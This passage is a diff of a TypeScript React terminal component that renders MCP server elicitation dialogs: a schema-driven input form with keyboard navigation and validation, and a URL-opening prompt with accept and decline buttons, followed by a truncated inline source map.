+   * call `onMatch` with the index of the first label that prefix-matches.
+   * Shared by boolean y/n, enum accordion, and multi-select accordion.
+   */
+  function runTypeahead(char: string, labels: string[], onMatch: (index: number) => void) {
+    const ta_0 = enumTypeaheadRef.current;
+    if (ta_0.timer !== undefined) clearTimeout(ta_0.timer);
+    ta_0.buffer += char.toLowerCase();
+    ta_0.timer = setTimeout(resetTypeahead, 2000, ta_0);
+    const match = labels.findIndex(l => l.startsWith(ta_0.buffer));
+    if (match !== -1) onMatch(match);
+  }
+
+  // Esc while a field is focused: cancel the dialog.
+  // Uses Settings context (escape-only, no 'n' key) since Dialog's
+  // Confirmation-context cancel is suppressed when a field is focused.
+  useKeybinding('confirm:no', () => {
+    // For text fields, revert uncommitted changes first
+    if (isEditingTextField && currentField) {
+      const val_1 = formValues[currentField.name];
+      setTextInputValue(val_1 !== undefined ? String(val_1) : '');
+      setTextInputCursorOffset(0);
+    }
+    onResponse('cancel');
+  }, {
+    context: 'Settings',
+    isActive: !!currentField && !focusedButton && !expandedAccordion
+  });
+  useInput((_input, key) => {
+    // Text fields handle their own character input; we only intercept
+    // navigation keys and backspace-on-empty here.
+    if (isEditingTextField && !key.upArrow && !key.downArrow && !key.return && !key.backspace) {
+      return;
+    }
+
+    // Expanded multi-select accordion
+    if (expandedAccordion && currentField && isMultiSelectEnumSchema(currentField.schema)) {
+      const msSchema = currentField.schema;
+      const msValues = getMultiSelectValues(msSchema);
+      const selected_0 = formValues[currentField.name] as string[] ?? [];
+      if (key.leftArrow || key.escape) {
+        setExpandedAccordion(undefined);
+        validateMultiSelect(currentField.name, msSchema);
+        return;
+      }
+      if (key.upArrow) {
+        if (accordionOptionIndex === 0) {
+          setExpandedAccordion(undefined);
+          validateMultiSelect(currentField.name, msSchema);
+        } else {
+          setAccordionOptionIndex(accordionOptionIndex - 1);
+        }
+        return;
+      }
+      if (key.downArrow) {
+        if (accordionOptionIndex >= msValues.length - 1) {
+          setExpandedAccordion(undefined);
+          handleNavigation('down');
+        } else {
+          setAccordionOptionIndex(accordionOptionIndex + 1);
+        }
+        return;
+      }
+      if (_input === ' ') {
+        const optionValue = msValues[accordionOptionIndex];
+        if (optionValue !== undefined) {
+          const newSelected = selected_0.includes(optionValue) ? selected_0.filter(v => v !== optionValue) : [...selected_0, optionValue];
+          const newValue_1 = newSelected.length > 0 ? newSelected : undefined;
+          setField(currentField.name, newValue_1);
+          const min_0 = msSchema.minItems;
+          const max_0 = msSchema.maxItems;
+          if (min_0 !== undefined && newSelected.length < min_0 && (newSelected.length > 0 || currentField.isRequired)) {
+            updateValidationError(currentField.name, `Select at least ${min_0} ${plural(min_0, 'item')}`);
+          } else if (max_0 !== undefined && newSelected.length > max_0) {
+            updateValidationError(currentField.name, `Select at most ${max_0} ${plural(max_0, 'item')}`);
+          } else {
+            updateValidationError(currentField.name);
+          }
+        }
+        return;
+      }
+      if (key.return) {
+        // Check (not toggle) the focused item, then collapse and advance
+        const optionValue_0 = msValues[accordionOptionIndex];
+        if (optionValue_0 !== undefined && !selected_0.includes(optionValue_0)) {
+          setField(currentField.name, [...selected_0, optionValue_0]);
+        }
+        setExpandedAccordion(undefined);
+        handleNavigation('down');
+        return;
+      }
+      if (_input) {
+        const labels_0 = msValues.map(v_0 => getMultiSelectLabel(msSchema, v_0).toLowerCase());
+        runTypeahead(_input, labels_0, setAccordionOptionIndex);
+        return;
+      }
+      return;
+    }
+
+    // Expanded single-select enum accordion
+    if (expandedAccordion && currentField && isEnumSchema(currentField.schema)) {
+      const enumSchema = currentField.schema;
+      const enumValues = getEnumValues(enumSchema);
+      if (key.leftArrow || key.escape) {
+        setExpandedAccordion(undefined);
+        return;
+      }
+      if (key.upArrow) {
+        if (accordionOptionIndex === 0) {
+          setExpandedAccordion(undefined);
+        } else {
+          setAccordionOptionIndex(accordionOptionIndex - 1);
+        }
+        return;
+      }
+      if (key.downArrow) {
+        if (accordionOptionIndex >= enumValues.length - 1) {
+          setExpandedAccordion(undefined);
+          handleNavigation('down');
+        } else {
+          setAccordionOptionIndex(accordionOptionIndex + 1);
+        }
+        return;
+      }
+      // Space: select and collapse
+      if (_input === ' ') {
+        const optionValue_1 = enumValues[accordionOptionIndex];
+        if (optionValue_1 !== undefined) {
+          setField(currentField.name, optionValue_1);
+        }
+        setExpandedAccordion(undefined);
+        return;
+      }
+      // Enter: select, collapse, and move to next field
+      if (key.return) {
+        const optionValue_2 = enumValues[accordionOptionIndex];
+        if (optionValue_2 !== undefined) {
+          setField(currentField.name, optionValue_2);
+        }
+        setExpandedAccordion(undefined);
+        handleNavigation('down');
+        return;
+      }
+      if (_input) {
+        const labels_1 = enumValues.map(v_1 => getEnumLabel(enumSchema, v_1).toLowerCase());
+        runTypeahead(_input, labels_1, setAccordionOptionIndex);
+        return;
+      }
+      return;
+    }
+
+    // Accept / Decline buttons
+    if (key.return && focusedButton === 'accept') {
+      if (validateRequired() && Object.keys(validationErrors).length === 0) {
+        onResponse('accept', formValues);
+      } else {
+        // Show "required" validation errors on missing fields
+        const requiredFields_0 = requestedSchema.required || [];
+        for (const fieldName_7 of requiredFields_0) {
+          if (formValues[fieldName_7] === undefined) {
+            updateValidationError(fieldName_7, 'This field is required');
+          }
+        }
+        const firstBadIndex = schemaFields.findIndex(f_0 => requiredFields_0.includes(f_0.name) && formValues[f_0.name] === undefined || validationErrors[f_0.name] !== undefined);
+        if (firstBadIndex !== -1) {
+          setCurrentFieldIndex(firstBadIndex);
+          setFocusedButton(null);
+          syncTextInput(firstBadIndex);
+        }
+      }
+      return;
+    }
+    if (key.return && focusedButton === 'decline') {
+      onResponse('decline');
+      return;
+    }
+
+    // Up/Down navigation
+    if (key.upArrow || key.downArrow) {
+      // Reset enum typeahead when leaving a field
+      const ta_1 = enumTypeaheadRef.current;
+      ta_1.buffer = '';
+      if (ta_1.timer !== undefined) {
+        clearTimeout(ta_1.timer);
+        ta_1.timer = undefined;
+      }
+      handleNavigation(key.upArrow ? 'up' : 'down');
+      return;
+    }
+
+    // Left/Right to switch between Accept and Decline buttons
+    if (focusedButton && (key.leftArrow || key.rightArrow)) {
+      setFocusedButton(focusedButton === 'accept' ? 'decline' : 'accept');
+      return;
+    }
+    if (!currentField) return;
+    const {
+      schema: schema_5,
+      name: name_0
+    } = currentField;
+    const value_1 = formValues[name_0];
+
+    // Boolean: Space to toggle, Enter to move on
+    if (schema_5.type === 'boolean') {
+      if (_input === ' ') {
+        setField(name_0, value_1 === undefined ? true : !value_1);
+        return;
+      }
+      if (key.return) {
+        handleNavigation('down');
+        return;
+      }
+      if (key.backspace && value_1 !== undefined) {
+        unsetField(name_0);
+        return;
+      }
+      // y/n typeahead
+      if (_input && !key.return) {
+        runTypeahead(_input, ['yes', 'no'], i => setField(name_0, i === 0));
+        return;
+      }
+      return;
+    }
+
+    // Enum or multi-select (collapsed) — accordion style
+    if (isEnumSchema(schema_5) || isMultiSelectEnumSchema(schema_5)) {
+      if (key.return) {
+        handleNavigation('down');
+        return;
+      }
+      if (key.backspace && value_1 !== undefined) {
+        unsetField(name_0);
+        return;
+      }
+      // Compute option labels + initial focus index for rightArrow expand.
+      // Single-select focuses on the current value; multi-select starts at 0.
+      let labels_2: string[];
+      let startIdx = 0;
+      if (isEnumSchema(schema_5)) {
+        const vals = getEnumValues(schema_5);
+        labels_2 = vals.map(v_2 => getEnumLabel(schema_5, v_2).toLowerCase());
+        if (value_1 !== undefined) {
+          startIdx = Math.max(0, vals.indexOf(value_1 as string));
+        }
+      } else {
+        const vals_0 = getMultiSelectValues(schema_5);
+        labels_2 = vals_0.map(v_3 => getMultiSelectLabel(schema_5, v_3).toLowerCase());
+      }
+      if (key.rightArrow) {
+        setExpandedAccordion(name_0);
+        setAccordionOptionIndex(startIdx);
+        return;
+      }
+      // Typeahead: expand and jump to matching option
+      if (_input && !key.leftArrow) {
+        runTypeahead(_input, labels_2, i_0 => {
+          setExpandedAccordion(name_0);
+          setAccordionOptionIndex(i_0);
+        });
+        return;
+      }
+      return;
+    }
+
+    // Backspace: text fields when empty
+    if (key.backspace) {
+      if (isEditingTextField && textInputValue === '') {
+        unsetField(name_0);
+        return;
+      }
+    }
+
+    // Text field Enter is handled by TextInput's onSubmit
+  }, {
+    isActive: true
+  });
+  function validateRequired(): boolean {
+    const requiredFields_1 = requestedSchema.required || [];
+    for (const fieldName_8 of requiredFields_1) {
+      const value_2 = formValues[fieldName_8];
+      if (value_2 === undefined || value_2 === null || value_2 === '') {
+        return false;
+      }
+      if (Array.isArray(value_2) && value_2.length === 0) {
+        return false;
+      }
+    }
+    return true;
+  }
+
+  // Scroll windowing: compute visible field range
+  // Overhead: ~9 lines (dialog chrome, buttons, footer).
+  // Each field: ~3 lines (label + description + validation spacer).
+  // NOTE(v2): Multi-select accordion expands to N+3 lines when open.
+  // For now we assume 3 lines per field; an expanded accordion may
+  // temporarily push content off-screen (terminal scrollback handles it).
+  // To generalize: track per-field height (3 for collapsed, N+3 for
+  // expanded multi-select) and compute a pixel-budget window instead
+  // of a simple item-count window.
+  const LINES_PER_FIELD = 3;
+  const DIALOG_OVERHEAD = 14;
+  const maxVisibleFields = Math.max(2, Math.floor((rows - DIALOG_OVERHEAD) / LINES_PER_FIELD));
+  const scrollWindow = useMemo(() => {
+    const total = schemaFields.length;
+    if (total <= maxVisibleFields) {
+      return {
+        start: 0,
+        end: total
+      };
+    }
+    // When buttons are focused (currentFieldIndex undefined), pin to end
+    const focusIdx = currentFieldIndex ?? total - 1;
+    let start = Math.max(0, focusIdx - Math.floor(maxVisibleFields / 2));
+    const end = Math.min(start + maxVisibleFields, total);
+    // Adjust start if we hit the bottom
+    start = Math.max(0, end - maxVisibleFields);
+    return {
+      start,
+      end
+    };
+  }, [schemaFields.length, maxVisibleFields, currentFieldIndex]);
+  const hasFieldsAbove = scrollWindow.start > 0;
+  const hasFieldsBelow = scrollWindow.end < schemaFields.length;
+  function renderFormFields(): React.ReactNode {
+    if (!schemaFields.length) return null;
+    return <Box flexDirection="column">
+        {hasFieldsAbove && <Box marginLeft={2}>
+            <Text dimColor>
+              {figures.arrowUp} {scrollWindow.start} more above
+            </Text>
+          </Box>}
+        {schemaFields.slice(scrollWindow.start, scrollWindow.end).map((field_0, visibleIdx) => {
+        const index_0 = scrollWindow.start + visibleIdx;
+        const {
+          name: name_1,
+          schema: schema_6,
+          isRequired
+        } = field_0;
+        const isActive = index_0 === currentFieldIndex && !focusedButton;
+        const value_3 = formValues[name_1];
+        const hasValue = value_3 !== undefined && (!Array.isArray(value_3) || value_3.length > 0);
+        const error_0 = validationErrors[name_1];
+
+        // Checkbox: spinner → ⚠ error → ✔ set → * required → space
+        const isResolving = resolvingFields.has(name_1);
+        const checkbox = isResolving ? <ResolvingSpinner /> : error_0 ? <Text color="error">{figures.warning}</Text> : hasValue ? <Text color="success" dimColor={!isActive}>
+                {figures.tick}
+              </Text> : isRequired ? <Text color="error">*</Text> : <Text> </Text>;
+
+        // Selection color matches field status
+        const selectionColor = error_0 ? 'error' : hasValue ? 'success' : isRequired ? 'error' : 'suggestion';
+        const activeColor = isActive ? selectionColor : undefined;
+        const label = <Text color={activeColor} bold={isActive}>
+                {schema_6.title || name_1}
+              </Text>;
+
+        // Render the value portion based on field type
+        let valueContent: React.ReactNode;
+        let accordionContent: React.ReactNode = null;
+        if (isMultiSelectEnumSchema(schema_6)) {
+          const msValues_0 = getMultiSelectValues(schema_6);
+          const selected_1 = value_3 as string[] | undefined ?? [];
+          const isExpanded = expandedAccordion === name_1 && isActive;
+          if (isExpanded) {
+            valueContent = <Text dimColor>{figures.triangleDownSmall}</Text>;
+            accordionContent = <Box flexDirection="column" marginLeft={6}>
+                    {msValues_0.map((optVal, optIdx) => {
+                const optLabel = getMultiSelectLabel(schema_6, optVal);
+                const isChecked = selected_1.includes(optVal);
+                const isFocused = optIdx === accordionOptionIndex;
+                return <Box key={optVal} gap={1}>
+                          <Text color="suggestion">
+                            {isFocused ? figures.pointer : ' '}
+                          </Text>
+                          <Text color={isChecked ? 'success' : undefined}>
+                            {isChecked ? figures.checkboxOn : figures.checkboxOff}
+                          </Text>
+                          <Text color={isFocused ? 'suggestion' : undefined} bold={isFocused}>
+                            {optLabel}
+                          </Text>
+                        </Box>;
+              })}
+                  </Box>;
+          } else {
+            // Collapsed: ▸ arrow then comma-joined selected items
+            const arrow = isActive ? <Text dimColor>{figures.triangleRightSmall} </Text> : null;
+            if (selected_1.length > 0) {
+              const displayLabels = selected_1.map(v_4 => getMultiSelectLabel(schema_6, v_4));
+              valueContent = <Text>
+                      {arrow}
+                      <Text color={activeColor} bold={isActive}>
+                        {displayLabels.join(', ')}
+                      </Text>
+                    </Text>;
+            } else {
+              valueContent = <Text>
+                      {arrow}
+                      <Text dimColor italic>
+                        not set
+                      </Text>
+                    </Text>;
+            }
+          }
+        } else if (isEnumSchema(schema_6)) {
+          const enumValues_0 = getEnumValues(schema_6);
+          const isExpanded_0 = expandedAccordion === name_1 && isActive;
+          if (isExpanded_0) {
+            valueContent = <Text dimColor>{figures.triangleDownSmall}</Text>;
+            accordionContent = <Box flexDirection="column" marginLeft={6}>
+                    {enumValues_0.map((optVal_0, optIdx_0) => {
+                const optLabel_0 = getEnumLabel(schema_6, optVal_0);
+                const isSelected = value_3 === optVal_0;
+                const isFocused_0 = optIdx_0 === accordionOptionIndex;
+                return <Box key={optVal_0} gap={1}>
+                          <Text color="suggestion">
+                            {isFocused_0 ? figures.pointer : ' '}
+                          </Text>
+                          <Text color={isSelected ? 'success' : undefined}>
+                            {isSelected ? figures.radioOn : figures.radioOff}
+                          </Text>
+                          <Text color={isFocused_0 ? 'suggestion' : undefined} bold={isFocused_0}>
+                            {optLabel_0}
+                          </Text>
+                        </Box>;
+              })}
+                  </Box>;
+          } else {
+            // Collapsed: ▸ arrow then current value
+            const arrow_0 = isActive ? <Text dimColor>{figures.triangleRightSmall} </Text> : null;
+            if (hasValue) {
+              valueContent = <Text>
+                      {arrow_0}
+                      <Text color={activeColor} bold={isActive}>
+                        {getEnumLabel(schema_6, value_3 as string)}
+                      </Text>
+                    </Text>;
+            } else {
+              valueContent = <Text>
+                      {arrow_0}
+                      <Text dimColor italic>
+                        not set
+                      </Text>
+                    </Text>;
+            }
+          }
+        } else if (schema_6.type === 'boolean') {
+          if (isActive) {
+            valueContent = hasValue ? <Text color={activeColor} bold>
+                    {value_3 ? figures.checkboxOn : figures.checkboxOff}
+                  </Text> : <Text dimColor>{figures.checkboxOff}</Text>;
+          } else {
+            valueContent = hasValue ? <Text>
+                    {value_3 ? figures.checkboxOn : figures.checkboxOff}
+                  </Text> : <Text dimColor italic>
+                    not set
+                  </Text>;
+          }
+        } else if (isTextField(schema_6)) {
+          if (isActive) {
+            valueContent = <TextInput value={textInputValue} onChange={handleTextInputChange} onSubmit={handleTextInputSubmit} placeholder={`Type something\u{2026}`} columns={Math.min(columns - 20, 60)} cursorOffset={textInputCursorOffset} onChangeCursorOffset={setTextInputCursorOffset} focus showCursor />;
+          } else {
+            const displayValue = hasValue && isDateTimeSchema(schema_6) ? formatDateDisplay(String(value_3), schema_6) : String(value_3);
+            valueContent = hasValue ? <Text>{displayValue}</Text> : <Text dimColor italic>
+                    not set
+                  </Text>;
+          }
+        } else {
+          valueContent = hasValue ? <Text>{String(value_3)}</Text> : <Text dimColor italic>
+                  not set
+                </Text>;
+        }
+        return <Box key={name_1} flexDirection="column">
+                <Box gap={1}>
+                  <Text color={selectionColor}>
+                    {isActive ? figures.pointer : ' '}
+                  </Text>
+                  {checkbox}
+                  <Box>
+                    {label}
+                    <Text color={activeColor}>: </Text>
+                    {valueContent}
+                  </Box>
+                </Box>
+                {accordionContent}
+                {schema_6.description && <Box marginLeft={6}>
+                    <Text dimColor>{schema_6.description}</Text>
+                  </Box>}
+                <Box marginLeft={6} height={1}>
+                  {error_0 ? <Text color="error" italic>
+                      {error_0}
+                    </Text> : <Text> </Text>}
+                </Box>
+              </Box>;
+      })}
+        {hasFieldsBelow && <Box marginLeft={2}>
+            <Text dimColor>
+              {figures.arrowDown} {schemaFields.length - scrollWindow.end} more
+              below
+            </Text>
+          </Box>}
+      </Box>;
+  }
+  return <Dialog title={`MCP server \u201c${serverName}\u201d requests your input`} subtitle={`\n${message}`} color="permission" onCancel={() => onResponse('cancel')} isCancelActive={(!currentField || !!focusedButton) && !expandedAccordion} inputGuide={exitState => exitState.pending ? <Text>Press {exitState.keyName} again to exit</Text> : <Byline>
+            <ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="cancel" />
+            <KeyboardShortcutHint shortcut="↑↓" action="navigate" />
+            {currentField && <KeyboardShortcutHint shortcut="Backspace" action="unset" />}
+            {currentField && currentField.schema.type === 'boolean' && <KeyboardShortcutHint shortcut="Space" action="toggle" />}
+            {currentField && isEnumSchema(currentField.schema) && (expandedAccordion ? <KeyboardShortcutHint shortcut="Space" action="select" /> : <KeyboardShortcutHint shortcut="→" action="expand" />)}
+            {currentField && isMultiSelectEnumSchema(currentField.schema) && (expandedAccordion ? <KeyboardShortcutHint shortcut="Space" action="toggle" /> : <KeyboardShortcutHint shortcut="→" action="expand" />)}
+          </Byline>}>
+      <Box flexDirection="column">
+        {renderFormFields()}
+        <Box>
+          <Text color="success">
+            {focusedButton === 'accept' ? figures.pointer : ' '}
+          </Text>
+          <Text bold={focusedButton === 'accept'} color={focusedButton === 'accept' ? 'success' : undefined} dimColor={focusedButton !== 'accept'}>
+            {' Accept  '}
+          </Text>
+          <Text color="error">
+            {focusedButton === 'decline' ? figures.pointer : ' '}
+          </Text>
+          <Text bold={focusedButton === 'decline'} color={focusedButton === 'decline' ? 'error' : undefined} dimColor={focusedButton !== 'decline'}>
+            {' Decline'}
+          </Text>
+        </Box>
+      </Box>
+    </Dialog>;
+}
+function ElicitationURLDialog({
+  event,
+  onResponse,
+  onWaitingDismiss
+}: {
+  event: ElicitationRequestEvent;
+  onResponse: Props['onResponse'];
+  onWaitingDismiss: Props['onWaitingDismiss'];
+}): React.ReactNode {
+  const {
+    serverName,
+    signal,
+    waitingState
+  } = event;
+  const urlParams = event.params as ElicitRequestURLParams;
+  const {
+    message,
+    url
+  } = urlParams;
+  const [phase, setPhase] = useState<'prompt' | 'waiting'>('prompt');
+  const phaseRef = useRef<'prompt' | 'waiting'>('prompt');
+  const [focusedButton, setFocusedButton] = useState<'accept' | 'decline' | 'open' | 'action' | 'cancel'>('accept');
+  const showCancel = waitingState?.showCancel ?? false;
+  useNotifyAfterTimeout('Claude Code needs your input', 'elicitation_url_dialog');
+  useRegisterOverlay('elicitation-url');
+
+  // Keep refs in sync for use in abort handler (avoids re-registering listener)
+  phaseRef.current = phase;
+  const onWaitingDismissRef = useRef(onWaitingDismiss);
+  onWaitingDismissRef.current = onWaitingDismiss;
+  useEffect(() => {
+    const handleAbort = () => {
+      if (phaseRef.current === 'waiting') {
+        onWaitingDismissRef.current?.('cancel');
+      } else {
+        onResponse('cancel');
+      }
+    };
+    if (signal.aborted) {
+      handleAbort();
+      return;
+    }
+    signal.addEventListener('abort', handleAbort);
+    return () => signal.removeEventListener('abort', handleAbort);
+  }, [signal, onResponse]);
+
+  // Parse URL to highlight the domain
+  let domain = '';
+  let urlBeforeDomain = '';
+  let urlAfterDomain = '';
+  try {
+    const parsed = new URL(url);
+    domain = parsed.hostname;
+    const domainStart = url.indexOf(domain);
+    urlBeforeDomain = url.slice(0, domainStart);
+    urlAfterDomain = url.slice(domainStart + domain.length);
+  } catch {
+    domain = url;
+  }
+
+  // Auto-dismiss when the server sends a completion notification (sets completed flag)
+  useEffect(() => {
+    if (phase === 'waiting' && event.completed) {
+      onWaitingDismiss?.(showCancel ? 'retry' : 'dismiss');
+    }
+  }, [phase, event.completed, onWaitingDismiss, showCancel]);
+  const handleAccept = useCallback(() => {
+    void openBrowser(url);
+    onResponse('accept');
+    setPhase('waiting');
+    phaseRef.current = 'waiting';
+    setFocusedButton('open');
+  }, [onResponse, url]);
+
+  // eslint-disable-next-line custom-rules/prefer-use-keybindings -- raw input for button navigation
+  useInput((_input, key) => {
+    if (phase === 'prompt') {
+      if (key.leftArrow || key.rightArrow) {
+        setFocusedButton(prev => prev === 'accept' ? 'decline' : 'accept');
+        return;
+      }
+      if (key.return) {
+        if (focusedButton === 'accept') {
+          handleAccept();
+        } else {
+          onResponse('decline');
+        }
+      }
+    } else {
+      // waiting phase — cycle through buttons
+      type ButtonName = 'accept' | 'decline' | 'open' | 'action' | 'cancel';
+      const waitingButtons: readonly ButtonName[] = showCancel ? ['open', 'action', 'cancel'] : ['open', 'action'];
+      if (key.leftArrow || key.rightArrow) {
+        setFocusedButton(prev_0 => {
+          const idx = waitingButtons.indexOf(prev_0);
+          const delta = key.rightArrow ? 1 : -1;
+          return waitingButtons[(idx + delta + waitingButtons.length) % waitingButtons.length]!;
+        });
+        return;
+      }
+      if (key.return) {
+        if (focusedButton === 'open') {
+          void openBrowser(url);
+        } else if (focusedButton === 'cancel') {
+          onWaitingDismiss?.('cancel');
+        } else {
+          onWaitingDismiss?.(showCancel ? 'retry' : 'dismiss');
+        }
+      }
+    }
+  });
+  if (phase === 'waiting') {
+    const actionLabel = waitingState?.actionLabel ?? 'Continue without waiting';
+    return <Dialog title={`MCP server \u201c${serverName}\u201d \u2014 waiting for completion`} subtitle={`\n${message}`} color="permission" onCancel={() => onWaitingDismiss?.('cancel')} isCancelActive inputGuide={exitState => exitState.pending ? <Text>Press {exitState.keyName} again to exit</Text> : <Byline>
+              <ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="cancel" />
+              <KeyboardShortcutHint shortcut="\u2190\u2192" action="switch" />
+            </Byline>}>
+        <Box flexDirection="column">
+          <Box marginBottom={1} flexDirection="column">
+            <Text>
+              {urlBeforeDomain}
+              <Text bold>{domain}</Text>
+              {urlAfterDomain}
+            </Text>
+          </Box>
+          <Box marginBottom={1}>
+            <Text dimColor italic>
+              Waiting for the server to confirm completion…
+            </Text>
+          </Box>
+          <Box>
+            <Text color="success">
+              {focusedButton === 'open' ? figures.pointer : ' '}
+            </Text>
+            <Text bold={focusedButton === 'open'} color={focusedButton === 'open' ? 'success' : undefined} dimColor={focusedButton !== 'open'}>
+              {' Reopen URL  '}
+            </Text>
+            <Text color="success">
+              {focusedButton === 'action' ? figures.pointer : ' '}
+            </Text>
+            <Text bold={focusedButton === 'action'} color={focusedButton === 'action' ? 'success' : undefined} dimColor={focusedButton !== 'action'}>
+              {` ${actionLabel}`}
+            </Text>
+            {showCancel && <>
+                <Text> </Text>
+                <Text color="error">
+                  {focusedButton === 'cancel' ? figures.pointer : ' '}
+                </Text>
+                <Text bold={focusedButton === 'cancel'} color={focusedButton === 'cancel' ? 'error' : undefined} dimColor={focusedButton !== 'cancel'}>
+                  {' Cancel'}
+                </Text>
+              </>}
+          </Box>
+        </Box>
+      </Dialog>;
+  }
+  return <Dialog title={`MCP server \u201c${serverName}\u201d wants to open a URL`} subtitle={`\n${message}`} color="permission" onCancel={() => onResponse('cancel')} isCancelActive inputGuide={exitState_0 => exitState_0.pending ? <Text>Press {exitState_0.keyName} again to exit</Text> : <Byline>
+            <ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="cancel" />
+            <KeyboardShortcutHint shortcut="\u2190\u2192" action="switch" />
+          </Byline>}>
+      <Box flexDirection="column">
+        <Box marginBottom={1} flexDirection="column">
+          <Text>
+            {urlBeforeDomain}
+            <Text bold>{domain}</Text>
+            {urlAfterDomain}
+          </Text>
+        </Box>
+        <Box>
+          <Text color="success">
+            {focusedButton === 'accept' ? figures.pointer : ' '}
+          </Text>
+          <Text bold={focusedButton === 'accept'} color={focusedButton === 'accept' ? 'success' : undefined} dimColor={focusedButton !== 'accept'}>
+            {' Accept  '}
+          </Text>
+          <Text color="error">
+            {focusedButton === 'decline' ? figures.pointer : ' '}
+          </Text>
+          <Text bold={focusedButton === 'decline'} color={focusedButton === 'decline' ? 'error' : undefined} dimColor={focusedButton !== 'decline'}>
+            {' Decline'}
+          </Text>
+        </Box>
+      </Box>
+    </Dialog>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJFbGljaXRSZXF1ZXN0Rm9ybVBhcmFtcyIsIkVsaWNpdFJlcXVlc3RVUkxQYXJhbXMiLCJFbGljaXRSZXN1bHQiLCJQcmltaXRpdmVTY2hlbWFEZWZpbml0aW9uIiwiZmlndXJlcyIsIlJlYWN0IiwidXNlQ2FsbGJhY2siLCJ1c2VFZmZlY3QiLCJ1c2VNZW1vIiwidXNlUmVmIiwidXNlU3RhdGUiLCJ1c2VSZWdpc3Rlck92ZXJsYXkiLCJ1c2VOb3RpZnlBZnRlclRpbWVvdXQiLCJ1c2VUZXJtaW5hbFNpemUiLCJCb3giLCJUZXh0IiwidXNlSW5wdXQiLCJ1c2VLZXliaW5kaW5nIiwiRWxpY2l0YXRpb25SZXF1ZXN0RXZlbnQiLCJvcGVuQnJvd3NlciIsImdldEVudW1MYWJlbCIsImdldEVudW1WYWx1ZXMiLCJnZXRNdWx0aVNlbGVjdExhYmVsIiwiZ2V0TXVsdGlTZWxlY3RWYWx1ZXMiLCJpc0RhdGVUaW1lU2NoZW1hIiwiaXNFbnVtU2NoZW1hIiwiaXNNdWx0aVNlbGVjdEVudW1TY2hlbWEiLCJ2YWxpZGF0ZUVsaWNpdGF0aW9uSW5wdXQiLCJ2YWxpZGF0ZUVsaWNpdGF0aW9uSW5wdXRBc3luYyIsInBsdXJhbCIsIkNvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCIsIkJ5bGluZSIsIkRpYWxvZyIsIktleWJvYXJkU2hvcnRjdXRIaW50IiwiVGV4dElucHV0IiwiUHJvcHMiLCJldmVudCIsIm9uUmVzcG9uc2UiLCJhY3Rpb24iLCJjb250ZW50Iiwib25XYWl0aW5nRGlzbWlzcyIsImlzVGV4dEZpZWxkIiwicyIsImluY2x1ZGVzIiwidHlwZSIsIlJFU09MVklOR19TUElOTkVSX0NIQVJTIiwiYWR2YW5jZVNwaW5uZXJGcmFtZSIsImYiLCJsZW5ndGgiLCJyZXNldFR5cGVhaGVhZCIsInRhIiwiYnVmZmVyIiwidGltZXIiLCJSZXR1cm5UeXBlIiwic2V0VGltZW91dCIsInVuZGVmaW5lZCIsIlJlc29sdmluZ1NwaW5uZXIiLCIkIiwiX2MiLCJmcmFtZSIsInNldEZyYW1lIiwidDAiLCJ0MSIsIlN5bWJvbCIsImZvciIsInNldEludGVydmFsIiwiY2xlYXJJbnRlcnZhbCIsInQyIiwidDMiLCJmb3JtYXREYXRlRGlzcGxheSIsImlzb1ZhbHVlIiwic2NoZW1hIiwiZGF0ZSIsIkRhdGUiLCJOdW1iZXIiLCJpc05hTiIsImdldFRpbWUiLCJmb3JtYXQiLCJ0b0xvY2FsZURhdGVTdHJpbmciLCJ3ZWVrZGF5IiwieWVhciIsIm1vbnRoIiwiZGF5IiwiaG91ciIsIm1pbnV0ZSIsInRpbWVab25lTmFtZSIsInBhcnRzIiwic3BsaXQiLCJsb2NhbCIsIkVsaWNpdGF0aW9uRGlhbG9nIiwicGFyYW1zIiwibW9kZSIsIkVsaWNpdGF0aW9uRm9ybURpYWxvZyIsIlJlYWN0Tm9kZSIsInNlcnZlck5hbWUiLCJzaWduYWwiLCJyZXF1ZXN0IiwibWVzc2FnZSIsInJlcXVlc3RlZFNjaGVtYSIsImhhc0ZpZWxkcyIsIk9iamVjdCIsImtleXMiLCJwcm9wZXJ0aWVzIiwiZm9jdXNlZEJ1dHRvbiIsInNldEZvY3VzZWRCdXR0b24iLCJmb3JtVmFsdWVzIiwic2V0Rm9ybVZhbHVlcyIsIlJlY29yZCIsImluaXRpYWxWYWx1ZXMiLCJwcm9wTmFtZSIsInByb3BTY2hlbWEiLCJlbnRyaWVzIiwiZGVmYXVsdCIsInZhbGlkYXRpb25FcnJvcnMiLCJzZXRWYWxpZGF0aW9uRXJyb3JzIiwiaW5pdGlhbEVycm9ycyIsInZhbGlkYXRpb24iLCJTdHJpbmciLCJpc1ZhbGlkIiwiZXJyb3IiLCJoYW5kbGVBYm9ydCIsImFib3J0ZWQiLCJhZGRFdmVudExpc3RlbmVyIiwicmVtb3ZlRXZlbnRMaXN0ZW5lciIsInNjaGVtYUZpZWxkcyIsInJlcXVpcmVkRmllbGRzIiwicmVxdWlyZWQiLCJtYXAiLCJuYW1lIiwiaXNSZXF1aXJlZCIsImN1cnJlbnRGaWVsZEluZGV4Iiwic2V0Q3VycmVudEZpZWxkSW5kZXgiLCJ0ZXh0SW5wdXRWYWx1ZSIsInNldFRleHRJbnB1dFZhbHVlIiwiZmlyc3RGaWVsZCIsInZhbCIsInRleHRJbnB1dEN1cnNvck9mZnNldCIsInNldFRleHRJbnB1dEN1cnNvck9mZnNldCIsInJlc29sdmluZ0ZpZWxkcyIsInNldFJlc29sdmluZ0ZpZWxkcyIsIlNldCIsImV4cGFuZGVkQWNjb3JkaW9uIiwic2V0RXhwYW5kZWRBY2NvcmRpb24iLCJhY2NvcmRpb25PcHRpb25JbmRleCIsInNldEFjY29yZGlvbk9wdGlvbkluZGV4IiwiZGF0ZURlYm91bmNlUmVmIiwicmVzb2x2ZUFib3J0UmVmIiwiTWFwIiwiQWJvcnRDb250cm9sbGVyIiwiZW51bVR5cGVhaGVhZFJlZiIsImN1cnJlbnQiLCJjbGVhclRpbWVvdXQiLCJjb250cm9sbGVyIiwidmFsdWVzIiwiYWJvcnQiLCJjbGVhciIsImNvbHVtbnMiLCJyb3dzIiwiY3VycmVudEZpZWxkIiwiY3VycmVudEZpZWxkSXNUZXh0IiwiaXNFZGl0aW5nVGV